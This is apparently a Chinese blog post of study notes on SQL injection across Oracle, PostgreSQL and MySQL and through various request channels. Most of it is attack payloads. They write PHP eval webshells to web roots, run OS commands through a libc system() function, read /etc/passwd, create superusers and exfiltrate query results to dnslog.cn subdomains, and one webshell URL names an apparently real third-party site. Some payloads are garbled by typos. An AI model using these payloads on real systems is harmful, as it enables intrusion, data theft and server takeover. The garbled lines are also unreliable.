其他注入

Oracle手工注入

Oracle数据库介绍

特点

  1. 支持多用户、大事务量的处理
  2. 数据安全性和完整性的有效控制
  3. 支持分布式数据处理
  4. 移植性强

常见的站点

大学、银行、旅游、交易所(全国性的、用户量多的网站)

搭载脚本

jsp + sqlsever\mysql\oracle

判断数据库

判断注入

and 1=1
and 1=2

判断oracle数据库

and exists(select * from dual)
and exists(select * from user tables)

判断列

order by

获取数据类型不匹配的列

union select null,null,null,null,null···

在每列上逐个用数字代替 如果返回正常说明该列为数字类型,反之则为非数字类型;也可以逐个用引号引起来如:null',null...from dual, 返回正常说明该列为字符类型,反之为非数字类型

使用null填充的数据库

SQL sever、Oracle、postgresql

获取基本信息

获取数据库版本
select banner from sys.v Sversion where rownum=1
获取操作系统版本
select member from vSlogfile where rownum=1
获取连接数据库的当前用户
select SYS CONTEXT(USERENV,CURRENT USER')from dual
获取数据库
select owner from all tables where rownum=1

实验环境:合天实验室

tips:Oracle表数量庞大,手工注入很麻烦,一般用工具跑

orcle注入工具

sqlmap、穿山甲

sqlmap
找管理员表:
1.由于表数量庞大,所以可以使用--count计数一下表的列数,管理员表列数较少,一般在10列以内
2.使用--serch -C pass/password/pwd等等与密码相关的字样来找密码列

postgresql手工注入

postgresql介绍

它包含了SQL sever、MySQL的注入类型
管理员权限:postgres

可能遇到的问题:
1.当一个存在注入的网站输入order by 1返回正常, order by 1000也返回正常
这种情况可能在注入点后面还存在语句,对你正在执行的语句进行了干扰如 id=1 & ssid=12313
考虑在order by 后面加注释 --+# 或者%23
2.对一字符列如果爆不出内容,更换到另一列,或者把要爆的列名转为16进制

postgresql数据库注入常用语法

判断是否为postgresql数据库
+and+1::int=1--

判断数据库版本信息
+and+1=cast(version( as int)--

判断当前用户
and 1=cast(user/l123 as int)

判断有多少字段
order by
union select null,null,null
union select null,user,null 判断当前用户

判断数据库版本信息
union select null,version(),null--

判断用户权限
union+select+null,current schema(),null

判断当前数据库名称
union+select+null,current database(),null

判断当前表名
union+select+null,relname,null from pg_stat_user_tables

读取每个表的列名
union+select+null,column name,null+from+information_schema.columns+where+table_name='表名'

tips:中间的加号=空格

列字段内容
+union+select+null,namellpass,null+from+admin

查看postgresql数据库的账号密码
+union+select+null,usenamelchr(124)]passwd,null+from+pg shadow

创建用户
;create+user+seven+with+superuser+password+'seven'--

修改postgres的用户密码为123456
;alter+user+postgres+with+password+'123456'--

postgresql写shell

如果测出来时postgres权限的话可以写shell

直接拿shell
http://127.0.0.1/sqlphp?id=1;create table shell(shell text not null);
http://127.0.0.1/sqlphp?id=1;insert into shell values($$ <?php@eval($_POST[shell];?$$);
http://127.0.0.1/sqlphp?id=1;copy shell(shell) to'/var/www/html/shell.php';
创建一个表,往表里写一句话,复制到网站更目录里面生成shell.php

另一种方法:
;copy (select'$$<?php @eval($ POST[shell]);?>$$) to c:/inetpub/wwwroot/mysql-sql7ddd.php 根目录
读取文件前20行
pg_read_file('/etc/passwd',1,20) 相当于load_file()

创建system函数

条件:版本大于8的数据库

创建一个system的函数:
create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C'STRICT

创建一个输出表:
create table stdout(id serial, system out text)

执行shell,输出到输出表内:
select system(uname -a > /tmp/test)

copy 输出的内容到表里面:
COPY stdout(system out) FROM '/tmp/test'

从输出表内读取执行后的回显,判断是否执行成功
union all select NULL,(select stdout from system out order by id desc),NULL limit 1 offset 1--

数据库备份还原

备份数据库
pg_dump -O -h 168.192.0.5 -U postgres mdb >c:\mdb.sqll
pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >ss.sgl 这个是远程备份数据库备份到本地来

还原数据库
psgl -h localhost -U postgres -d mdb

判断注入

' 报错
and 1=1 正常
and 1=2 报错

获取信息

and 1=cast(version() as int) 获取数据库版本信息系统信息
and 1=cast(user||123 as int) 获取当前用户名称 postgres用户相当于root用户权限

创建表

条件:管理员权限
;create table ccc(w text not null);

写入一句话

;insert into ccc values($$<?php @eval($_POST[shell]);?>$$);

导出一句话

;copy ccc(w) to $$home/kasugai_tochi/public_html/script/shell.php$$;
将一句话保存为shell.php文件

使用菜刀连接 http://www.kasugai-tochi.jp/script/shell.php

各种提交方式的注入漏洞挖掘

常见的提交方式

Getpostcookieheadputoption

不同提交方式的sqlmap语句

get:sqlmap -u "xxx.asp?id=1"
post:sqlmap -u "xxx.asp" --data "id=1"
cookie:sqlmap -u "xxx.asp" --cookie "id=1" --level 2
http:level 3

Get

asp/aspx网站:

  • 如果遇到有多个参数如id=123&bid=123&cid=123要一起测
  • 如果遇到参数后跟的不是数字而是字符,-0/就失效了,注入一般是字符型注入加'
    测注入:' 字符型,-0/ waf一般不拦截
    有注入测有无waf:and 1=1 waf一般会拦截,而有些waf不拦截,那就用order byunion等来测

php网站:

基于asp,注意魔术引号转义,用%bf' 进行宽字节绕过

Post

post提交方式主要适用于表单的提交

挖掘的时候注意魔术引号

可能存在漏洞的位置:

搜索框、登录、留言、注册
登录框一般用用户名来测,因为密码提交到数据库回转化为md5,没办法执行

抓包后在repeater中查看

使用sqlmap的三种方式

  • sqlmap跑post请求包,用sqlmap跑数据包txt文件即可
  • sqlmap-u "http://192.168.80.105:8008/index.php'--form 自动识别表单,检测注入
  • sqlmap -u "http://192.168.80.105:8008/index.php" --data "username=admin&password=123" 将数据包中信息的放入""
    --flush-session 清空缓存
    注意:表单页面要是提交的页面而不是原来的页面

变换提交方式有一定绕过waf的功能

e.g.安全狗,使用post提交要用%0a代替空格

XDCMS全版本存在sql注入漏洞

需要使用代理抓包改包工具进行完成

sql exp

%60%3D%28select%20group_concat%28username%2C0x3a%2Cpassword%29%20from%20c admin%20where%20id%3D1%29%23

抓包放在表单名称后面,不是参数后面

cookie提交用于账号密码的cookie缓存
还可以通过cookie注入来突破简单的防注入系统

如果服务器同时接收get和post,那么也会接收cookie
request同时接收get、post、cookie

使用cookie提交的时机:
get、post语句被服务器过滤,使用cookie过掉waf和通用防护代码

http

常见的http请求中存在注入的参数
User-agent
Referer
X-Forwarded-For
Client-ip
有时抓包没有相关的参数可以自行添加参数

常见的记录你ip的位置:
登录用户、修改资料、留言 可以用client-ip注入,没有client-ip在数据包中添加即可

modify插件(google)

  • 可以设置在你访问网站时自动添加请求参数

  • 可以用于你利用xss获取到cookie后登录后台提示非法ip不允许登录,有些系统是通过请求头判断是否为合法ip,此时就可以使用modify伪造一个被允许的ip去登录(常用到的参数:Client-ipX-Forwarded-For),拿不准时也可以将以下ip都写进去。(bp插件fakeip)

  • X-Forwarded-For:127.0.0.1
  • X-Forwarded-Host:127.0.0.1
  • X-Client-IP:127.0.0.1
  • X-remote-IP:127.0.0.1
  • X-remote-addr:127.0.0.1
  • True-Client-IP:127.0.0.1
  • X-Client-IP:127.0.0.1
  • Client-IP:127.0.0.1
  • X-RealIP:127.0.0.1

如果本地ip127.0.0.0不行,要通过分析xss打下的cookie信息得到管理员上一次登录过的ip,用他的ip。

exp构造

exp放在你在留言板输入的那列
(select concat(admin name0x3a,pwd)


结果:

伪静态注入的挖掘

伪静态注入

能还原称动态尽量还原,不能还原就地测试

xx/htlm/数字.html 在数字后加' ')等,更换注释符-- # %23,根据报错信息具体操作。
可以通过构造脚本将伪静态改回动态,如
改成

使用工具操作:
sqlmap -u "http://59.63.200.79:5456/download/index/9*.html"
在注入的位置加 *

时间延迟注入漏洞

延迟注入

延时注入是通过页面返回的时间来判断的
不同的mysql数据库版本,延迟注入语句也不同

  • mysql >=5.0 的可以使用sleep()进行查询
  • mysql<5.0 的可以使用benchmark()进行查询

benchmark用法

benchmark(n,sgl语句) n为查询次数
通过查询次数增多 时间变得缓慢来判断是否存在延迟
select benchmark(1000,select * from admin)

sleep()延迟注入用法

sleep 可以强制产生一个固定的延迟

sleep()延迟注入核心原理

and if(true,sleep(5),0); ==IF(1=1, true, false);
id=1 and sleep(5) 判断下是否存在延迟注》
and if(substring(user(),1,4)='root'sleep(5),1)判断当前用户(为真延迟5秒返回,为假立刻返回)
and if(MID(version(),1,1) LIKE 5, sleep(5),1) 判断数据库版本信息是否为5
可以去猜解他的数据库名称
and if(ascii(substring(database(),1,4))> 100,sleep(5),1)
and lf(ascii(substr(database(),1,1))<115,sleep(10),1)--+
and lf(length((version()))=6,sleep(10),1)--+
sqlmap --time-sec=2 延迟注入

手工时间盲注

https://blog.csdn.net/DarkHQ/article/details/79274376

dnslog 注入

dnslog 平台会记录域名dns查询记录,通过我们把查询的结果和dns子域名拼接,发送给dnslog平台查询,就会记录我们的语句查询结果,从而快速提升延迟注入速度。

条件:
root权限 (要借助load file()函数)

  • 列表名
    and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema="Tian' limit 0,1)'.tunxf1.dnslog.cnllabc')))1.1)--+#查表名,tunxf1.dnslog.cnllab为dnslog随机生成的本地子域名

  • 列列名
    and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user'limit 0,1).7dluss.dnslog.cn\labc'))),1,1)--+

  • 第二个列名
    and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 1,1).7dluss.dnslog.cn abc))),1,1)--+

  • 列数据
    and if((select load_file(concat('\\\\',(select username from user limit 0,1),'.7dluss.dnslog.cn labc'))),1,1)--+

BASE64编码注入漏洞

注入点参数被编码

  1. 解码
  2. 构造语句
  3. 编码
  4. $id=base64 decode($id);

注入点为(''):
如果#、--+不能注释掉后面
使用id=1') and 1=2 and ('1=1 闭合前后,中间替换语句,同时满足脚本代码和数据库查询语句,必要时中间加入注释如id=1') order by 3 -- and ('1=1

二阶注入漏洞

作为sql注入的一种,不同于普通的SQL注入,恶意代码被注入web应用中不立即执行,而是存储到后端数据库,在处理另一次不同请求时,应用检索到数据库中的恶意输入并利用它动态构建SQL语句,实现了攻击。

(在当前页面执行语句不会回显,而是存储到数据库,在另一个页面执行语句时回显)

二阶SQL注入的攻击过程归纳如下:

  1. 攻击者在一个HTTP请求中提交恶意输入
  2. 用于将恶意输入保存在数据库中。
  3. 攻击者提交第二个HTTP请求。
  4. 为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入动态构建SQL语句
  5. 如果攻击实现,在第二个请求的响应中向攻击者返回结果

XML注入漏洞

XML:
可拓展编辑语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
(一般用于数据存储,数据传输)

xml注入实例

  • 漏洞形成原因:
  1. 代码过滤不严
  2. 用户可以控制
  • 漏洞实例:
  1. 任意文件读取实例
  2. 用户注册注入实例

App注入漏洞挖掘

利用抓包工具获取app发送到服务器的链接
burp、fiddler即可
得到链接进行测试

注意:

  • 使用sqlmap时加 --mobile
  • 抓https要在手机上安装crt证书(burp)
  • 抓包时要关闭防火墙

抓包流程:
bp监听所有地址
手机设置代理ipv4与主机同网段

posted @ 2023-12-25 22:43  4A16  阅读(17)  评论(0编辑  收藏  举报